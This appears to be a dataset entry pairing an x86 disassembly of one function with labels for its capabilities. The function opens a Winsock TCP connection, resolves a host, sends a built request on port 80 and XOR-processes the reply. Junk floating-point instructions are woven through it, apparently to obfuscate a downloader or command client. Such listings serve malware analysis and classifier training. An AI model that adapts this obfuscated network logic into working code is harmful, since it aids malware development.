Function at 0x40770c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c700
push 0xffffffffffffffff
push 0x41e7fb
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x4395c0]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], eax
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], eax
mov byte [ebp + 0x1a4], al
fldz
fst qword [ebp - 0x3c]
xor edx, edx
mov word [ebp - 0x28], dx
mov dword [ebp - 0x50], eax
xor ecx, ecx
mov word [ebp - 0x2c], cx
fst qword [ebp - 0x4c]
fldz
mov byte [ebp + 0x11bc], cl
fstp dword [ebp - 0x1c]
or ebx, 0xffffffff
mov byte [ebp - 4], 1
fst qword [ebp - 0x44]
fstp qword [ebp - 0x58]
mov dword [ebp - 0x34], eax
mov word [ebp - 0x24], dx
add dword [ebp - 0x24], ebx
fld dword [0x43782c]
mov ax, word [ebp - 0x24]
movsx ecx, ax
mov dword [ebp - 0x30], ecx
fild dword [ebp - 0x30]
faddp st(1)
fsub qword [ebp - 0x44]
mov edx, dword [0x437858]
mov dword [ebp - 0x30], edx
fild dword [ebp - 0x30]
fmulp st(1)
call fcn.0040b2f0
mov esi, dword [ebp + 0x1448]
mov dword [0x437858], eax
fld dword [0x43782c]
fadd qword [0x41f230]
mov eax, esi
lea edx, [eax + 1]
fstp dword [0x43782c]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4074b3
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x407c66
movzx eax, word [ebp - 0x28]
fld qword [0x41f610]
mov ecx, dword [ebp - 0x34]
sub eax, ecx
sub eax, 0xd9d45b9
mov word [ebp - 0x28], ax
xor eax, eax
cmp eax, edi
jg 0x40752d
fld qword [ebp - 0x4c]
mov dl, byte [eax + esi]
fsub st(1)
mov byte [ebp + eax + 0x13bc], dl
cmp byte [ebp + eax + 0x13bc], 0x2f
fstp qword [ebp - 0x4c]
jne 0x40752a
mov byte [ebp + eax + 0x13bc], cl
fstp st(0)
mov ecx, eax
lea esp, [esp]
cmp ecx, edi
jg 0x40752f
mov bl, byte [ecx + esi]
mov edx, ecx
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
inc ecx
mov ebx, 0xffffffff
jmp 0x407510
inc eax
jmp 0x4074e1
fstp st(0)
mov ax, word [0x43752c]
mov ecx, dword [0x437828]
cwde
imul ecx, eax
lea eax, [ebp + 0x11bc]
mov dword [0x437828], ecx
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407550
mov edi, dword [ebp - 0x14]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407563
sub eax, esi
add eax, edx
cmp eax, 0x1ff
jbe 0x407581
cmp dword [ebp + 0x1b8], 0x10
jmp 0x407c55
mov eax, edi
mov edx, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407585
lea edi, [ebp + 0x11bc]
sub eax, edx
add edi, ebx
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x407596
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x426520
rep movsb byte es:[edi], byte [esi]
call fcn.00401660
mov esi, eax
fld dword [0x43779c]
add esp, 8
fadd qword [ebp - 0x3c]
fcomp qword [0x41f608]
fnstsw ax
fld dword [0x43779c]
fsub qword [0x41f230]
fstp dword [0x43779c]
test ah, 0x41
jp 0x40761d
add dword [0x437634], ebx
mov eax, dword [0x437634]
sub eax, 0x7a1c8013
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fsub dword [0x4374e4]
mov ecx, dword [0x437518]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b2f0
mov dword [0x437518], eax
jmp 0x407662
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
mov edx, 0x2bd53b95
fsub dword [ebp - 0x1c]
fadd dword [ebp - 0x1c]
mov ax, word [ebp - 0x2c]
inc dword [ebp - 0x2c]
movsx ecx, ax
sub edx, ecx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fcompp
fnstsw ax
test ah, 0x41
jne 0x407662
fld dword [ebp - 0x1c]
mov eax, dword [0x437574]
sub eax, 0x626a1d5a
mov dword [ebp - 0x14], eax
fisub dword [ebp - 0x14]
fstp dword [ebp - 0x1c]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407667
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00406e80
fldz
fst qword [ebp - 0x18]
xor eax, eax
fstp qword [ebp - 0x18]
mov dword [esi], eax
fld qword [ebp - 0x18]
mov byte [esi + 4], al
fmul qword [0x41f330]
push esi
fstp qword [ebp - 0x18]
call fcn.0040b39b
mov cx, word [0x4377f4]
movsx edx, cx
mov dword [ebp - 0x14], edx
add esp, 4
fild dword [ebp - 0x14]
fld dword [ebp - 0x1c]
mov ax, word [ebp - 0x2c]
fsubr qword [0x41f600]
movsx ecx, ax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fsubp st(1)
fsubp st(1)
call fcn.0040b2f0
mov word [0x4377f4], ax
fld dword [ebp - 0x1c]
fadd qword [0x41f230]
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
fstp dword [ebp - 0x1c]
jmp 0x4076f0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4076f0
sub eax, edx
push eax
lea edx, [ebp + 0x11bc]
push edx
lea ecx, [ebp + 0x1a0]
call fcn.00407280
push 0x32
push 0x425604
call fcn.00401660
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407720
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407280
fldz
push 0x32
fst qword [ebp - 0x18]
push 0
fstp qword [ebp - 0x18]
push esi
call fcn.0040b8d0
fld qword [ebp - 0x18]
fmul qword [0x41f330]
push esi
fstp qword [ebp - 0x18]
call fcn.0040b39b
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407766
sub eax, edx
push eax
lea eax, [ebp + 0x13bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.00407280
push 5
push 0x427600
call fcn.00401660
mov ecx, dword [0x437518]
movzx edx, word [0x437938]
mov esi, eax
mov eax, 0xc2dcef56
sub eax, ecx
imul edx, eax
mov word [0x437938], dx
mov eax, esi
add esp, 8
add dword [0x437518], ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4077c0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407280
fldz
fst qword [ebp - 0x18]
xor eax, eax
fstp qword [ebp - 0x18]
mov dword [esi], eax
fld qword [ebp - 0x18]
mov byte [esi + 4], al
fmul qword [0x41f330]
push esi
fstp qword [ebp - 0x18]
call fcn.0040b39b
add esp, 4
lea eax, [ebp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40783a
mov edx, dword [0x437704]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, ebx
jne 0x407853
mov eax, dword [ebp - 0x50]
imul eax, eax, 0xb3513acc
mov dword [ebp - 0x50], eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp dword [ebp + 0x1b8], 0x10
jb 0x407c66
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x407c5e
cmp dword [ebp + 0x1458], 0
je 0x407876
push 4
lea edx, [ebp + 0x1458]
push edx
push 0x1006
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
fld qword [ebp - 0x58]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
lea ecx, [ebp + 0x13bc]
push ecx
fadd qword [0x437550]
fsubp st(1)
fstp qword [ebp - 0x58]
add dword [ebp - 0x34], ebx
fld qword [0x437550]
fsub qword [0x41f230]
fstp qword [0x437550]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4078bf
cmp dword [ebp + 0x1b8], 0x10
jmp 0x407c55
mov cx, word [0x4378e8]
mov edx, dword [0x437514]
movsx ecx, cx
add edx, ecx
mov word [0x4378e8], dx
mov ecx, 2
mov word [ebp + 0x190], cx
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x50
mov dword [ebp + 0x194], eax
call dword [sym.imp.WS2_32.dll_htons]
mov edi, 0x10
push edi
lea edx, [ebp + 0x190]
push edx
push esi
mov word [ebp + 0x192], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, ebx
jne 0x407947
fld qword [0x4377a0]
fstp qword [ebp - 0x3c]
cmp dword [ebp + 0x1b8], edi
jb 0x407c66
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x407c5e
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x40795b
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push 0
push ecx
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
movzx edx, word [ebp - 0x2c]
movsx ecx, dx
movzx edx, word [ebp - 0x28]
movsx edx, dx
sub ecx, edx
add ecx, 0x2cbbdb44
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fmul qword [ebp - 0x44]
fstp qword [ebp - 0x44]
cmp eax, dword [ebp + 0x1b4]
jae 0x4079b7
mov eax, 0xffffd35a
mov word [ebp - 0x24], ax
cmp dword [ebp + 0x1b8], edi
jb 0x407c66
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x407c5e
mov ecx, dword [ebp - 0x20]
push 0
push 0x41f5f8
call fcn.00406e80
or edi, 0xffffffff
or ebx, edi
jmp 0x4079d0
mov eax, dword [ebp - 0x1c]
push 0
push 0x1000
lea edx, [ebp + 0x1bc]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x407a9c
fld qword [ebp - 0x44]
fsub qword [0x41f5f0]
fstp qword [ebp - 0x44]
mov esi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
fld dword [0x437738]
fsub qword [0x41f5e8]
fstp dword [0x437738]
test edi, edi
jl 0x407a65
mov dx, word [ebp - 0x24]
movsx eax, dx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fld dword [0x437804]
fadd qword [0x41f5e0]
fsubp st(1)
call fcn.0040b2f0
mov word [ebp - 0x24], ax
fld dword [0x437804]
fadd qword [0x41f230]
push edi
push 0
mov ecx, esi
fstp dword [0x437804]
call fcn.004056c0
mov dl, byte [ebp + 0x1454]
mov edi, 0x10
test dl, dl
je 0x407c4f
fld qword [0x41f5d8]
xor eax, eax
fld1
cmp eax, dword [esi + 0x14]
jae 0x407c36
cmp dword [esi + 0x18], edi
jb 0x407c15
mov ecx, dword [esi + 4]
jmp 0x407c18
push eax
lea ecx, [ebp + 0x1bc]
push ecx
mov ecx, dword [ebp - 0x20]
call fcn.00407280
fld dword [0x41f5d0]
fstp dword [0x437900]
test edi, edi
jge 0x407bc0
push 5
push 0x427600
call fcn.00401660
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407ad4
mov ecx, dword [ebp - 0x20]
sub eax, edx
push eax
push 0
push esi
call fcn.004040b0
fldz
fst qword [ebp - 0x18]
mov edi, eax
fstp qword [ebp - 0x18]
xor eax, eax
fld qword [ebp - 0x18]
mov dword [esi], eax
fmul qword [0x41f330]
mov byte [esi + 4], al
push esi
fstp qword [ebp - 0x18]
call fcn.0040b39b
add esp, 4
test edi, edi
jl 0x407bc0
mov edx, dword [ebp - 0x20]
push edx
add edi, 4
call fcn.004059f0
mov ebx, eax
add esp, 4
mov dword [ebp - 0x30], ebx
test ebx, ebx
jge 0x407bc4
push 0xb
push 0x4259e4
call fcn.00401660
mov esi, eax
mov eax, dword [0x4378dc]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
add esp, 8
fadd qword [ebp - 0x3c]
fadd qword [ebp - 0x44]
mov cx, word [ebp - 0x24]
movsx edx, cx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
faddp st(1)
call fcn.0040b2f0
mov ecx, dword [ebp - 0x20]
mov word [ebp - 0x24], ax
fld qword [ebp - 0x3c]
fsub qword [0x41f230]
push 0
push esi
fstp qword [ebp - 0x3c]
inc dword [0x4378dc]
call fcn.00405750
fld dword [0x437784]
fmul qword [ebp - 0x3c]
push esi
push 0xb
mov ebx, eax
fstp qword [ebp - 0x3c]
fld dword [0x437784]
fadd qword [0x41f230]
fstp dword [0x437784]
call fcn.00402520
add esp, 8
test ebx, ebx
jge 0x4079fc
mov ebx, dword [ebp - 0x30]
test ebx, ebx
jl 0x407bd4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x4079fc
cmp dword [ebp + 0x1458], 0
je 0x4079d0
mov ecx, dword [ebp - 0x20]
cmp dword [ecx + 0x14], 0x4000
jb 0x4079d0
mov dx, word [ebp - 0x24]
fld qword [ebp - 0x44]
fstp st(0)
mov esi, ecx
fld qword [ebp - 0x58]
fstp st(0)
fld dword [0x437870]
mov ax, word [ebp - 0x2c]
inc dword [ebp - 0x24]
fstp st(0)
jmp 0x4079ff
lea ecx, [esi + 4]
fld qword [ebp - 0x4c]
xor byte [ecx + eax], dl
fadd st(1)
inc eax
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x3c]
fld qword [ebp - 0x4c]
fadd st(3)
fsubp st(1)
fstp qword [ebp - 0x3c]
jmp 0x407a82
mov ecx, dword [0x4375d4]
fstp st(1)
fstp st(0)
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fstp dword [ebp - 0x1c]
dec dword [0x4375d4]
cmp dword [ebp + 0x1b8], edi
jb 0x407c66
mov edx, dword [ebp + 0x1a4]
push edx
call fcn.0040ae78
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b542
add ebp, 0x1440
mov esp, ebp
pop ebp
ret